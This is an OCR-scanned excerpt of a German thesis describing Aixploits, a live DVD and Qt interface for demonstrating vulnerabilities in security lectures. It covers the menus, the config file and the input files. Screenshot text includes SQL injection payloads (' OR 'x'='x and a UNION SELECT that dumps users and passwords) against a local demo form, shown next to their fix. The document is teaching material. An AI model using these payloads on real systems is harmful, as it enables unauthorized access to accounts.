die Benutzung der DVD wird ein gewisses Grundverstéddnis im Bereich der IT-
Sicherheit vorausgesetzt. Unter dieser Voraussetzung kann zum Beispiel ein Stu-
dent die in der Vorlesung demonstrierten Beispiele in Eigenregie nachvollzie-
hen.
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3 Aixploits - eine Umgebung zur Préasentation von Sicherheitsliicken

3.3 Inhalt der Live-DVD

Die Live-DVD enthiélt eine vollstdndige Linux-Distribution. Das Betriebsystem
wird komplett von der DVD gebootet und nutzt die Hardware des Rechners.
Dabei wird weder schreibend noch lesend auf die Festplatten des Rechners zuge-
griffen. Alle Verzeichnisse und Dateien werden in einem virtuellen Dateisystem im
Arbeitsspeicher abgelegt. Als grafische Oberflache ist das K Desktop Environment
(KDE) (9) enthalten. Beim Start wird automatisch die grafische Benutzerober-
flache geladen. Dem Benutzer steht dann ein komplettes Linuxsystem mit allen
giangigen Programmen und Tools zur Verfiigung.

Die Live-DVD wurde von Herrn Kale zusammengestellt. Die Erstellung ist in
seiner Diplomarbeit Ein System zur Demonstration von Sicherheitsliicken - Si-
cherheitsliicken in Betriebssystemen und Anwendungen (3) detailliert beschrie-
ben.

[©)

SuSE

!

BIOS |

[ emulierte Hardware J

virtuelle Maschine

VMware© Image

Abbildung 3.3: Aufbau eines VMware© Images

Die DVD enthélt eine Auswahl an Exploits. Diese Exploits sind als Quellcode
und, falls erforderlich, als ausfithrbares Programm verfiighar. Jeder Exploit hat
ein Ziel, auf dem der Schadenscode zum Einsatz kommt. Das Ziel eines Exploits
kann ein Betriebssystem sein. Dieses Betriebssystem ist dann als VMware©-Image
auf der DVD enthalten. Die Software VMware© (10) dient zur Virtualisierung
von Betriebssystemen. In einer virtuelle Maschine kann das Betriebssystem als
eigenstidndiger Rechner innerhalb des Linux Systems auf der Live-DVD gebootet
werden. Der Aufbau eines VMware © Images ist in Abbildung 3.3 dargestellt.
Ein anderes Ziel eines Exploits sind Dienste des Betriebssystems. Beispiele fiir
solche Dienste sind Webserver, Mailserver oder Datenbankserver. Die benotigten
Dienste sind auf der DVD enthalten. Jeder Dienst ist fiir den speziellen Zweck
vorkonfiguriert.

Das auf der DVD enthaltene Programm bietet eine komfortable Moglichkeit zur
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3.4 Das Design der Présentationsoberfléche

Présentation der Exploits. Das Programm biindelt mehrere Funktionen zu je-
dem Exploit. Ein Punkt ist die Ausgabe umfassender Informationen zu dem Ex-
ploit. Diese Informationen sind als Hintergrundwissen und zur Vorbereitung der
Prasentation gedacht. Fiir die Vorstellung des Exploits vor den Zuhorern gibt
es einen Meniipunkt mit Kurzinformationen. Ein weiterer Meniipunkt dient als
Anleitung zur Durchfiihrung des Exploits. In dem Meniipunkt zur Durchfiihrung
des Exploits sind alle Kommandos direkt aus dem Programm heraus ausfiihr-
bar. Die Kommandos sind mit allen benotigten Parametern versehen und werden
iiber Buttons aufgerufen. Die einzelnen Meniipunkte werden in Kapitel 3.4 vor-
gestellt.

Das Handbuch zur Bedienung von Aixploits befindet sich im Anhang unter Ab-
schnitt A auf Seite 58.

3.4 Das Design der Prasentationsoberfliache

Die Oberfléche bietet dem Vortragenden mehrere Meniipunkte zu jeder Schwach-
stelle an. Der Vortragende wird bei der Ausfithrung des Exploits angeleitet und
unterstiitzt. Jeder Schritt der Durchfiihrung ist ausfithrbar vorbereitet und mit
Erklarungen versehen.

Bedienung: steusrt
« zweisprachige Oberflache ausfithrbarer Exploit
¢ variable Schriftgrosse

« Hilfestellung

Exploits: greiftan
* Kurzinformationen

* Hintergrundinformationen
* Schritt-fir-Schritt Anleitung Y

* ausfuhrbare Anleitung
Angriffsziel der Schwachstelle

grafische Oberflache zur Demonstration

N oy

Aixploits

Abbildung 3.4: Funktionalitit der Prisentationsoberfliche

Die Funktionen der Prisentationsoberfliche sind in Abbildung 3.4 dargestellt.
Die Oberfldche ist in Aixploits enthalten und setzt auf der Live-DVD auf. Sie ist
das Werkzeug zur Arbeit mit einer Schwachstelle.
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3 Aixploits - eine Umgebung zur Préasentation von Sicherheitsliicken

Die Oberflache ist zweisprachig ausgelegt. Der Vortragende kann zwischen deut-
scher und englischer Sprache wihlen. Weiterhin kann die Schriftgroie der Ober-
fliche verdndert werden. Bei einer Prisentation mit einem Beamer wird so sicher-
gestellt, dass die Inhalte der Oberfliche gut lesbar sind.

Dem Benutzer der Prasentationsoberfliache steht eine Hilfefunktion zur Verfiigung.
In dieser Hilfe wird der Umgang mit der Oberfléche beschrieben.

Ein Eindruck der Préisentationsoberfliche und ihrer Bedienung vermittelt Abbil-
dung 3.5. Im Folgenden werden die einzelnen Meniipunkte vorgestellt.

Aixploits - ein System zur, Demonstration von Sicherheitsliucken

Datel Optionen Hife

Sicherheitsltcken
= Betriebssysteme
The Gimp: Numaxes
ptrace bug
proc insertion
core dump
@ www-shell Sicherheltsliicken in Internetanwendungen
winnuke
Firefox: DoS
av: buffer averflow
Cfirternetanwendungen | zusammengestellt von
= unwverschitsselte Protokolle
Informationen
Schritt far Schritt
AU Juliane Mathes
a SQL-Injektion
Informationen
Schritt fur Schritt
Ausflhren
2 phpBB
Informationen
Schritt far Schritt
Ausflhren
Webshell
Webserverkonfiguration

(4] | (]

Abbildung 3.5: Die Prisentationsoberfléiche

3.4.1 Meniipunkt Kurzvorstellung

Im Rahmen der Kurzvorstellung bietet das Programm einen kurzen Uberblick
iitber die Schwachstelle. Die Sicherheitsliicke wird zuerst in Stichworten beschrie-
ben. Im Anschluss folgen Informationen zur Wirkungsweise des Schadenscodes,
gefolgt von den Voraussetzungen, unter denen der Exploit funktioniert. Abschlie-
Bend werden Gegenmafinahmen genannt, um die Sicherheitsliicke zu schlieflen.
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3.4 Das Design der Présentationsoberfléche

Diese Kurzvorstellung ist zum Einsatz im Vortrag gedacht. Die Daten zur Si-
cherheitsliicke sind kurz gehalten und werden auf einer Bildschirmseite présen-
tiert. Ein Beispiel fiir eine solche Kurzvorstellung ist in Abbildung 3.6 zu sehen.

X AIXpIDILS B NSy S TET 2N EM O NS trE W BN VOIS CHETH EI S| IEKET) N =1 E3
Datei Optionen Hilfe

Sicherheitsltclen
= Betriebssysteme
The Gimp: Numaxes + Sicherheltsllcke beim Zugriff auf Datenbanken durch dynamisch erzeugte
ptrace bug SQL—Befeh\e ) . . . )
proc Insertion + Benutzereingaben werden nicht ausreichend Uberprift oder als Text maskiert

+ Angreifer kkann eigene Befehle in die SQL-Abfrage einfligen (to inject)
core dump

www-shell
winnuke Wirkungsweise:
Firefox: DoS
gv: buffer overflow

= Internetanwendungen
unverschllisselte Protolkalle

SQL-Injektion:

+ vom Benutzer eingegebenen Parameter elner SQL-Anfrage werden ohne Prufung
an den Datenbankserver weiterreicht
* In der Eingabe enthaltene SQL-Befehle werden auf dem Datenbankserver

ausgefuhrt
+ je nach Konfiguration des Datenbanlkservers kann eine Shell auf dem System
phpEB erzeugt werden
Webshell
Webserverlonfiguration
Voraussetzung:

+ Webseiten und Applikationen, die Eingabedaten ohne Prifung oder Maskierung van
Funktionszeichen an SQL -Abfragen weitergeben

Gegenmalnahmen:

*+ Funktionszeichen wie Backslash,Apastroph oder Semikolon maskieren, um ihnen
die Sonderfunktion zu nehmen. Beim Maskieren werden diese Zeichen durch einen
Backslash als Text gekennzeichnet. Der Vorgang wird auch als Escapen bezeichnet.

+ Benutzereingaben an Stored Procedures Ubergeben. Die SQL-Abfrage wird erst
dort erzeugt und ausgeflhrt. Das Einschleusen weiterer SQL-Befehle wird so
verhindert.

£ | (v]

Abbildung 3.6: Kurze Vorstellung der Schwachstelle

3.4.2 Meniipunkt Informationen

Unter diesem Meniipunkt werden ausfiihrliche Informationen zur gewéhlten Si-
cherheitsliicke angeboten. Die Informationen sind zur Vorbereitung der Demon-
stration gedacht. Ein Beispiel fiir ausfiihrliche Informationen zu einer Schwach-
stelle zeigt Abbildung 3.7. Der Vortragende kann anhand der Informationen das
benotigte Hintergrundwissen erwerben und muss keine eigenen Recherchen zu
diesem Thema durchfithren. Zur Prasentation im Rahmen eines Vortrags ist die-
ser Mentipunkt nicht geeignet und nicht gedacht. Fiir Demonstrationszwecke ist
der Meniipunkt Kurzvorstellung vorgesehen.
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3 Aixploits - eine Umgebung zur Préasentation von Sicherheitsliicken

Aixploits - ein System zur Demonstration von Sicherheitslicken

Datei Optionen Hife

Sicherheitsiticken (o
= Betriebssysteme Wirkungsweise:
The Gimp: Numaxes
ptrace bug
proc insertion

+ vom Benutzer eingegebenen Parameter einer SQL-Anfrage werden ohne Prifung
an den Datenbankserver weiterreicht
+ in der Eingabe enthaltene SQL -Befehle werden auf dem Datenbankserver

core dump ausgeflhre
www-shell + Uber eingeschleussten Befehle kénnen weitere Daten auf dem Server ausgelesen
winnuke oder Datenséatze verandert werden
Firefox: DoS * je nach Konfiguration des Datenbanlkservers kann eine Shell auf dem System zu
agwv: buffer averflow erzeugen

& Internetanwendungen * Uber diese Shell kann mit den Rechten, unter denen der Datenbankserver [&uft,

urvErsEitEsEi BretclalE auf das komplette System zugegriffen werden

a SQL-Injektion

Voraussetzung:

Schritt fUr Schritt

Ausflihren * Webseiten und Applikationen, die Eingabedaten ohne Prifung oder Maskierung
phpBB von Funktionszeichen an SQL-Abfragen weitergeben

Webshell
Webserverkonfiguration GegenmaRnahmen:
+ Funktionszeichen wie Backslash,Apostroph oder Semilkolon maskieren, um innen
die Sonderfunktion zu nehmen. Beim Maskieren werden diese Zeichen durch
einen Baclkslash als Text gelkennzeichnet. Der Vorgang wird auch als Escapen
bezeichnet. Es gibt zwei Mbglichkeiten, das Escapen von Eingaben zu alktivieren.
* |In der Konfigurationsdatei php.ini der PHP-Schnittstelle wird das
automatische Escapen von Funltionszeichen gobal, d.h. fur alle PHP-Skripte
gesetzt.
Magic quotes for incoming GET/POST/Cookie data
magic_guotes_gpc = On
* |ede Eingabe mit einer Escape-Funl<tion behandeln und so Funktionszeichen
maskieren. FUr SQL-Anfragen in PHP-Code erledigt dies die Funktion i}
(1 REID) mysql real escape string. &

Abbildung 3.7: Detaillierte Informationen zur Schwachstelle
3.4.3 Meniipunkt Schritt-fiir-Schritt-Anleitung

Der Aufruf dieses Meniipunktes fithrt zur Anzeige einer Anleitung, in der die
Schritte zur Durchfithrung des Exploits erldutert werden. Die Ausfithrung dieser
Schritte in der vorgegebenen Reihenfolge fithrt zur Ausnutzung der zu demon-
strierenden Sicherheitsliicke. Die Befehle werden erklart und sind mit den not-
wendigen Parametern vorbesetzt. Ein Beispiel einer Schritt-fiir-Schritt-Anleitung
ist in Abbildung 3.8 zu sehen. In der Anleitung wird der gesamte Ablauf der
Ausnutzung einer Schwachstelle deutlich.

3.4.4 Meniipunkt Ausfiihrung

Unter diesem Meniipunkt befinden sich ausfithrbare Einzelschritte zur einfachen
Demonstration der Sicherheitsliicke. Die Befehle sind soweit wie méglich als Kom-
mandos vorbereitet und werden durch einen Mausklick auf den zugehorigen But-
ton ausgefiihrt. Der Vortragende muss nur wenige Befehle selbst eingeben. Die fiir
die Sicherheitsliicke wichtigen Funktionen und Abléufe des Schadenscodes werden
durch farbige Markierungen hervorgehoben. Der Vortragende kann das Publikum
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3.5 Enthaltene Exploits

Aixploits - ein System zur, Demonstration von Sicherheits|icken

Datei Optionen Hilfe

Sicherheitsltcken

+ lampp Server starten{Apache Webserver und MySQI-Server)

& Betriebssysteme * Browser mit Webseite hittp.#127.0.0. 1Ainsafefogindndex.php aufrufen
The Gimp: Numaxes * Funktionalitét des Webformulars zeigen:
ptrace bug
proc insertion
core dump

+ Benutzername: test
*+ Passwort: test

www-shell * Zum Verstédndnis: Struktur der Datenbank "userdatabase”
winnulke o
Firefox: DoS user pass permission
gwv: buffer averflow everything geheim  full
e Internetanwendungen test test read

unverschllsselte Protololle
= SQL-Injektion

(rerEErE *+ SQL-Injektion Tell 1 : Auslesen aller Benutzer und Rechte:

Schritt fr Schritt + Benutzername: beliebige Eingabe
Ausflhren * Passwort: ' OR 'x'='x
pNpBB + SQL-Injektion Teil 2 : Auslesen aller Benutzer und Passwarter:
Webshell
Webserverlkonfiguration * Benutzername: notintable' UNION ALL SELECT user,pass FROM usertable
WHERE 1=1 OR 'a=a
+ Passwort: beliebige Eingabe
GegenmaBnahme:
nicht verwundbares Formular durch Verwendung der PHP-Funtion
mysql_real_escape_string
* Webseite http://127.0.0. 1/safeflogin/index. php aufrufen
SQL-Injektlon scheitert; Auslesen aller Benutzer und Rechte:
* Benutzername: beliebige Eingabe
* Passwort: ' OR 'x'='x
[« | [+

Abbildung 3.8: Anleitung zur Demonstration der Schwachstelle

so gezielt auf die Auswirkungen des Exploits hinweisen. Eine ausfiihrbare Anlei-
tung wird in Abbildung 3.9 gezeigt.

3.5 Enthaltene Exploits

Die in Aixploits enthaltenen Exploits werden in zwei Kategorien unterteilt. Die-
se Unterteilung wird nach dem Ziel des Schadenscodes vorgenommen. Alle Ex-
ploits, die das Betriebssystem als Angriffsziel haben, werden unter dem Thema
”Schwachstellen in Betriebssystemen” zusammengefasst. Ist das zu schidigende
Objekt ein im Internet bereitgestellter Dienst, so fallt der Exploit in die Klasse der
”Schwachstellen in Internetanwendungen”. Diese Einteilung ist getroffen worden,
um eine saubere Trennung bei der gemeinsamen Bearbeitung des Hauptthemas
zu erreichen.

In dieser Arbeit werden die Schwachstellen in Internetanwendungen bearbeitet.
Aus der Menge der bekannten Exploits im Bereich Internetanwendungen wird eine
Auswahl der bekanntesten Schwachstellen vorgestellt. Diese Schwachstellen sind
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3 Aixploits - eine Umgebung zur Prasentation von Sicherheitsliicken

Datei Optionen Hife

Sicherheitsiticken
= Betriebssysteme
The Gimp: Numaxes
ptrace bug
proc insertion
core dump
wiww-shell
winnuke
Firefox: DoS
agwv: buffer averflow
& Internetanwendungen
unwverschllsselte Protokolle
a SQL-Injektion
Informationen
Schritt fur Schritt
phpBB
Webshell
Webserverkonfiguration

HEID)

Aixploits - ein System zur Demonstration von Sicherheitslicken

* lampp Server starten (Komponenten Apache
Webserver und MySQL Server)

{opt/lampp/lampp start ]

* Webselte http://127.0.0.1/unsafefloginf/index. php aufrufen

+ Funktionalitét des Webfaormulars zeigen:
+ Benutzername: test
* Passwort: test

* Zum Versténdnis: Strultur der Datenbank "userdatabase”

user pass permission
everything geheim  full
test test read

+ SQL-Injektion Teil 1 : Auslesen aller Benutzer und Rechte:

* Benutzername: beliebige Eingabe
* Passwort: ' OR 'x'='x

+ SQL-Injeltion Teil 2 : Auslesen aller Benutzer und Passworter:

* Benutzername: notintable' UNION ALL SELECT user,pass FROM usertable
WHERE 1=1 OR 'x'='x
* Passwort: beliebige EiIngabe

Gegenmalnahme:

nicht verwundbares Formular durch Verwendung der PHP-Funktion
mysqgl_real_escape_string; SQL-Injelion Teil 1 und 2 scheitern

* Webselte http://127.0.0. 1/safe/login/index. php aufrufen

Abbildung 3.9: Ausfiihrbare Anleitung zur Demonstration der Schwachstelle

nicht immer Sicherheitsliicken, auch die fehlerhafte Konfiguration eines Dienstes
kann zu einer Schwachstelle fithren.

Die zweite Kategorie der Schwachstellen in Betriebssystemen wird von Herrn Ka-
le bearbeitet. Diese Exploits werden in seiner Diplomarbeit (3) behandelt.

In diesem Kapitel wurden die einzelnen Bestandteile der Préasentationsumgebung
vorgestellt. Aus den Komponenten von Aixploits wird nun die Prisentationsum-
gebung genauer betrachtet. Im nichsten Kapitel wird die Erstellung der grafischen

Oberflache beschrieben.
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4 Die Entwicklung der
Prasentationsoberflache von
Aixploits

Die Erstellung der Prasentationsoberfliche wird in diesem Kapitel beschrieben.
Zuerst werden die Anforderungen an die Oberfliche vorgestellt. Danach werden
die Struktur des Programms und der Aufbau der Eingabedateien verdeutlicht.
Abschlieend wird eine Anleitung gegeben, wie die Prasentationsoberfliche um
die Demonstration einer weiteren Sicherheitsliicke erweitert werden kann.

4.1 Anforderungen

Das Programm zur Présentation der Exploits muss eine grafische Benutzerober-
flache beinhalten. Die Oberflache soll mehrere Funktionen erfiillen. Eine dieser
Funktionen ist die Darstellung von Informationen zu einem Exploit. Die Infor-
mationen sollen als Text angezeigt werden. Dabei ist zu beachten, dass sich der
Text der Grofle des Fensters anpasst und korrekt umgebrochen wird. Bei der
Durchfiithrung des Exploits miissen Befehle ausgefiihrt werden. Diese Ausfiihrung
soll fiir den Benutzer mit geringem Aufwand verbunden sein. Die zur Ausfithrung
notwendigen Kommandos sollen iiber Buttons per Mausklick aufgerufen werden
konnen.

Alle Daten zu einer Sicherheitsliicke, sowohl die Informationen als auch die ausfiihr-
baren Kommandos und ihre Darstellung als Buttons, sollen aus Dateien eingelesen

werden. Dazu ist es erforderlich, dass die Daten nicht im Quelltext vorhanden

sind, sondern aus gesonderten Dateien vom Programm eingelesen werden. Die

Informationen zu einer Sicherheitsliicke miissen als Text dargestellt werden. Die

ausfithrbaren Kommandos zur Durchfithrung des Exploits miissen als Buttons er-

zeugt und mit Text versehen werden. Beim Klick auf den Button soll als Ereignis

der zugehorige Befehl ausgefiihrt werden.

Die Prasentationsoberfliche soll eine einfache Erweiterungsmoglichkeit fiir neue
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4 Die Entwicklung der Présentationsoberfliche von Aixploits

Exploits bieten. Die Daten zu einer neuen Schwachstelle miissen ohne Verédnde-
rungen am Quelltext eingepflegt werden konnen.

4.2 Aufbau

Das Programm Aixploits ist in der Programmiersprache C++ geschrieben und
nutzt die Qt Bibliothek (11) in der Version 3.3 . Qt ist eine Klassenbibliothek fiir
die betriebssystemiibergreifende Programmierung grafischer Benutzeroberflichen
unter C++. Die Bibliotheken des KDE verwenden zum Beispiel die Qt Biblio-
thek. Die norwegische Firma Trolltech (ehemals Quasar Technologies) entwickelt
die Bibliothek. Qt bietet Unterstiitzung fiir verschiedene Betriebssysteme bzw.
Grafikplattformen. Die Klassenbibliothek steht sowohl unter der GNU General
Public License (GPL) als auch unter einer kommerziellen Lizenz. Diese Lizenz
wird nur fiir die Erstellung von Programmen benétigt, die spéater nicht unter
einer freien Lizenz stehen. Die im Zuge der Arbeit entwickelte Priasentationsober-
fliche von Aixploits steht unter der GPL. Die Quelltexte werden offengelegt und
sind auf der Webseite zu dieser Arbeit (12) verfiigbar.

Start der
Prasentationsoberfliche

4 Y
Einlesen der Liste von
verfligharen Sicherheitslticken
Vorgang
fir jede Sprachversion k ;
E&ut‘bau der linken Menustruktuj
f/
Einlesen der Inhalte
fir die vier Meniipunkte
Jeder Sicherheitsllicke
Vorgang
fir jede Sicherheitsliicke
Erstellung von Fenstermhalten
mit Text und Buttons
zU jedem Menlpunkt
S v
- /

Abbildung 4.1: Aufbau der Présentationsoberfliche aus Dateien

Das Layout des Programms ist an das Aussehen und die Bedienung typischer
KDE Programme angelehnt. Die Oberfliche ist in zwei Bereiche aufgeteilt. Der
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4.3 Eingaben des Programms

linke Bereich nutzt ein Drittel der Fenstergrofie und bietet die verfiigharen Ex-
ploits an. Die Darstellung geschieht in einer baumartigen Strukur, die vom Be-
nutzer per Mausklick ein- und ausgeklappt werden kann. Durch Klicken auf einen
Zweig der Meniistruktur wird der rechte Teil der Oberfliche verdndert. Dieser
Teil der Oberfliche nutzt zwei Drittel der Fenstergrofle des Hauptfensters. Je
nach Auswahl im linken Bereich werden im rechten Bereich Informationen als
Text angezeigt oder es werden Kommandos als eine Kombination aus Text und
Buttons bereitgestellt.

Das Programm besitzt ein Menii zur Konfiguration der Oberfliche. Unter dem
Meniipunkt Optionen kénnen in einem Untermenii die Schriftgréfie und die Spra-
che ausgewéhlt werden. Ein weiterer Meniipunkt bietet Hilfe und Anleitung zu
dem Programm an.

Geméif den Anforderungen soll die Erweiterung des Programms um zusétzliche
Sicherheitsliicken ohne Anderungen am Quellcode moglich sein. Daher darf der
Quellcode keinerlei Inhalte iiber die Sicherheitsliicken enthalten. Diese Inhalte
werden aus Eingabedateien eingelesen und im Programm dargestellt.

Zur Programmierung von Fenstern steht in Qt die Klasse QWidget zur Verfiigung.
Diese Klasse wurde als Grundlage der Klasse AixWidget genutzt und um Funk-
tionen zum dynamischen Aufbau von Fensterinhalten erweitert. Die Anzahl der
Fensterinhalte steht beim Programmstart nicht fest, daher werden die Fensterob-
jekte in einer dynamischen Liste verwaltet.

Buttons werden unter Qt in der Klasse QButton verwaltet. Jeder Button hat eine
eindeutige 1D, iiber die der Button in einem Fenster aufgerufen werden kann. Im
Quellcode kénnen keine Buttons erzeugt werden, da auch die Buttons aus den Ein-
gabedateien entstehen sollen. Daher wurde in der Klasse AixButton eine dynami-
sche Erzeugung und Verwaltung der Buttons realisiert.

Der Aufbau der Oberfliche beim Start des Programms ist in Abbildung 4.1 dar-
gestellt.

4.3 Eingaben des Programms

Das Programm liest zuerst die Konfigurationsdatei aixploits.ini aus dem aktuellen
Verzeichnis ein. Diese Datei enthélt Parameter, die das Layout des Programms
festlegen. Zu diesen Angaben zéihlen Fenstergrofie und -breite sowie Schriftgrofie
und Hintergrundfarbe. In der Initialisierungsdatei gibt es eine Variable Directory,
die einen Verzeichsnamen enthalten muss. In diesem Verzeichnis erwartet das
Programm alle Eingabedateien.
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4 Die Entwicklung der Préasentationsoberfldche von

Aixploits

Arbeitsverzeichnis
fusrflocal/share/aixploits

‘//l\r\

Konfigurationsdatei Verzeichnis Verzeichnis
aixploits.ini german english
Verzeichnis Verzeichnis
infa appfa
//‘ ¥
Datei Datei Datei
infa.txt appfa.html appfa.txt

SQL-Injektion;sql
PhpBE;php

Cross-Site Skripting;xss
Webshell:shell

h

Verzeichnis
php

Datei
php.html

Verzeichnis
webshell

Verzeichnis
sql

Datei
webshell.html

Datei
sql.html

Y

Datei
info.html

Y

BHG

Datel
info.html

. Datei Datei Datei

7| step.html step.html step.html
Datei Datel Datel

| exec.html exec.html exec.html

Datei
info.html

pt=s
=3
ECY

Abbildung 4.2: Verzeichnisstruktur und Eingabedateien des Programms

Die Eingabedateien, aus denen das Programm seine Oberfliche generiert, miissen
vorgegebene Dateinamen haben, damit sie vom Programm eingelesen werden. Die
Verzeichnisstruktur, in der die Dateien abgelegt werden, ist ebenfalls vorgeschrie-
ben. Fiir den Text in den Dateien miissen bestimmte Formatierungsvorgaben
eingehalten werden. Durch diese Vorgaben ist es moglich, Text und Kommandos
einzulesen und in dem Programm darzustellen.

Eine detaillierte Ubersicht der erwarteten Dateien und Verzeichnisse zeigt Abbil-
dung 4.2. Die einzelnen Elemente der Eingabe werden in den néchsten Abschnit-
ten erlautert.
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4.3 Eingaben des Programms

4.3.1 Datei- und Verzeichnisstruktur

Die Struktur des Verzeichnisses, in dem sich die Eingabedateien befinden, ist
fest vorgegeben. Das Standardverzeichnis /usr/local/share/aixploits enthélt das
ausfithrbare Programm und eine Konfigurationsdatei. In dieser Konfigurations-
datei wird das Arbeitsverzeichnis der Prisentationsoberfliche festgelegt. Die Vor-
gabe fiir das Arbeitsverzeichnis ist das Standardverzeichnis. Unterhalb dieses
Verzeichnisses werden die beiden Verzeichnisse german und english erwartet. In
diesen beiden Verzeichnissen liegen alle weiteren Dateien fiir die jeweilige Sprach-
version. Fiir jede Sprachversionen miissen zwei Verzeichnisse namens infa und
appfa vorhanden sein. Das Verzeichnis infa enthélt alle Dateien zu Exploits, die
der Klasse der Schwachstellen in Internetanwendungen zugeordnet werden. Das
Verzeichnis appfa beeinhaltet alle Dateien zu Exploits aus der Klasse der Schwach-
stellen in Betriebssystemen.

Im Verzeichnis infa miissen zwei Dateien mit den Namen infa.txt und infa.html
vorhanden sein. Gleichermaflen werden im Verzeichnis appfa zwei Dateien mit
den Namen appfa.txt und appfa.html erwartet. Die Dateien mit der Endung txt
enthalten eine Namensliste der vorbereiteten Exploits und das zugehorige Ver-
zeichnis. Listing 4.1 zeigt den Inhalt der Datei infa.txt.

SQL—Injektion ; sql

phpBB; php

Cross—Site Skripting;xss
Webshell; shell

Listing 4.1: Inhalt der Datei infa.txt

Aus dem Text der Datei infa.html wird der Inhalt fiir das Fenster zum Meniipunkt
“Internetanwendungen” erstellt. Der Text der Datei appfa.html wird unter dem
Meniipunkt “Betriebssysteme” angezeigt. Beide Dateien enthalten einen selbst
definierten Textbaustein. Der Textbaustein besteht aus einer Markierung fiir den
Anfang und das Ende des Textes in der Datei. Der genaue Aufbau des Bausteins
wird in Abschnitt 4.3.4 beschrieben. Innerhalb des Textbausteins kann HTML-
formatierter Text (13) verwendet werden. Die Abkiirzung HTML steht fiir Hy-
pertext Markup Language. HT'ML ist eine textbasierte Sprache zur formatierten
Darstellung von Texten und Bildern. Diese Formatierungsbefehle werden beim
Aufbau des Fensterinhalts umgesetzt.

Die Verzeichnisse der einzelnen Exploits werden ebenfalls im Verzeichnis infa bwz
appfa erwartet. In diesen Verzeichnissen liegen die vier Eingabedateien zum je-
weiligen Exploit. In der Tabelle 4.3.1 sind alle Verzeichnisse und deren Bedeutung
aufgelistet.
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4 Die Entwicklung der Présentationsoberfliche von Aixploits

| VERZEICHNISNAME | BESCHREIBUNG |

/usr/local /share/aixploits | Standardverzeichnis aller Eingabedateien

./german Verzeichnis fiir Dateien der deutschsprachigen Ver-
sion

./english Verzeichnis fiir Dateien der englischsprachigen
Version

./german/infa Verzeichnis fiir Dateien zu Exploits der Klasse
“Schwachstellen in Internetanwendungen”

./german /appfa Verzeichnis fiir Dateien zu Exploits der Klasse
“Schwachstellen in Betriebssystemen”

./german /infa/sql Verzeichnis fiir Dateien zu einem Exploit (deutsche
Version)

./english /infa/sql Verzeichnis fiir Dateien zu einem Exploit (engli-
sche Version)

Tabelle 4.1: Verzeichnisstrukur der Eingabedateien

4.3.2 Konfigurationsdatei

Die Paramter des Programms beziiglich Fenstergrofie und Schriftart werden beim
Start des Programms aus der Datei aixploits.ini eingelesen.

Die ersten drei Parameter betreffen die Gréfie und die Aufteilung des Programm-
fensters. Die Breite des Programmfensters wird in der Variablen W in Pixeln
angegeben. Die Variable H gibt die Fensterhohe ebenfalls in Pixeln an. Im linken
Bereich des Programmfensters wird die Meniistruktur angezeigt. Die Breite dieses
Bereichs wird in der Variablen WL in Pixeln festgelegt.

Die folgenden drei Variablen bestimmen die Hintergrundfarbe des Programms.
Die Farbe wird als RGB-Wert in den Variablen R,G und B als dreistellige num-
merische Werte angegeben.

Der Parameter Font beeinflusst die Schriftgrofie des Textes im Programm. Die
Grofle der Schrift wird in Pixeln angegeben.

Die Sprache des Programms kann iiber die Variable Language konfiguriert wer-
den. Als Sprachen stehen Deutsch und Englisch zur Verfiigung. Die Sprache wird
mit dem Wert german oder english festgelegt.

Der letzte Paramter gibt an, wo das Programm die Eingabedateien fiir den Aufbau
der Inhalte findet. Die Variable Directory wird mit dem Pfad zu den Eingabeda-
teien initialisiert.
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VARIABLE | STANDARDWERT FUR DIE | BESCHREIBUNG
AUFLOSUNG 1024X768

W 1000 Breite des Programmfensters

L 680 Hohe des Programmfensters

WL 300 Breite des linken Fensterbereichs

R 204 rote Komponente des RGB-Werts

G 221 griine  Komponente des RGB-
Werts

B 233 blaue Komponente des RGB-
Werts

Font 16 Schriftgrofe

Language | german Sprache des Programms

Directory | /usr/local/share/aixploits/ | Verzeichnis der Eingabedateien

Tabelle 4.2: Variablen der Initialisierungsdatei und ihre Standardwerte

VARIABLE | STANDARDWERT FUR  AUFLOSUNGEN >
1024X768

W 1200

L 800

Tabelle 4.3: Fenstergrofie bei hoherer Auflésung

Ist die Konfigurationsdatei aixploits.ini nicht vorhanden, so werden im Quellcode
des Programms festgelegte Werte benutzt. Das Verzeichnis der Quelldateien wird
dann mit dem Wert /usr/local/share/aixploits/ vorbesetzt.

Einen Uberblick iiber die verwendeten Variablen, ihre Standardwerte und ihre
Bedeutung bietet Tabelle 4.2. Bei einer héheren Auflésung als 1024x768 Pixeln
werden fiir die ersten beiden Parameter andere Werte verwendet. Durch die gréfie-
re Auflosung kann das Anwendungsfenster mehr Platz nutzen. Die Standardwerte
fiir eine groBere Auflosung sind in Tabelle 4.3 zu sehen.

Alle Variablenzuweisungen miissen nach dem Variablennamen ein Leerzeichen
enthalten. Anschlieend folgt ein Gleichheitszeichen, wiederum gefolgt von einem
Leerzeichen. Danach wird der Wert des Parameters erwartet. Die Variablenzuwei-
sung muss mit einem Semikolon abgeschlossen werden.

4.3.3 Eingabedateien eines Exploits

Zu jedem Exploit miissen vier Eingabedateien existieren. Die Dateien werden in
dem zum Exploit gehorigen Verzeichnis erwartet. Dem Exploit zum Thema SQL-
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] DATEINAME \ BESCHREIBUNG \

./german/infa/sql/sql.html | kurze Beschreibung der Schachstelle und ihrer
Auswirkungen

./german/infa/sql/info.html | ausfiihrliche Informationen zur Schwachstelle
./german/infa/sql/step.html | Anleitung zur Demonstration der Schwachstelle
./german/infa/sql/exec.html | ausfithrbare Version der Anleitung mit Buttons

Tabelle 4.4: Namenskonventionen der Eingabedateien

Injektion wurde zum Beispiel in der Datei infa.txt das Verzeichnis sql zugeordnet.
Die Tabelle 4.3.3 enthélt eine Auflistung aller Eingabedateien und ihrer Inhalte.
Die Datei sql.html soll die Kurzbeschreibung der Schwachstelle enthalten. Eine
ausfiihrliche Beschreibung der Sicherheitsliicke geschieht in der Datei info.html.
Die Anleitung zur Demonstration ist in der Datei step.html gespeichert. Die Datei
exec.html enthélt die Ausfithrungsschritte zur Demonstration der Sicherheitsliicke
mit ausfithrbaren Kommandos.

Alle Eingabedateien benutzen die im néchsten Abschnitt vorgestellten Baustei-
ne. Innerhalb dieser Bausteine steht der volle Befehlsumfang von HTML zur
Verfiigung. Damit kénnen beispielsweise Tabellen erstellt und Verweise auf Bil-
der eingesetzt werden.

4.3.4 Bausteine in den Eingabedateien

Als Bausteine werden die Elemente bezeichnet, die zur Gestaltung der Program-
moberfliche zur Verfiigung stehen. Es handelt sich dabei um Bausteine fiir Text,
fiir Buttons und fiir eine Kombination aus Text und Buttons. Die Definition
der Bausteine ist an den Aufbau von HTML-Tags (11) angelehnt. HTML-Tags
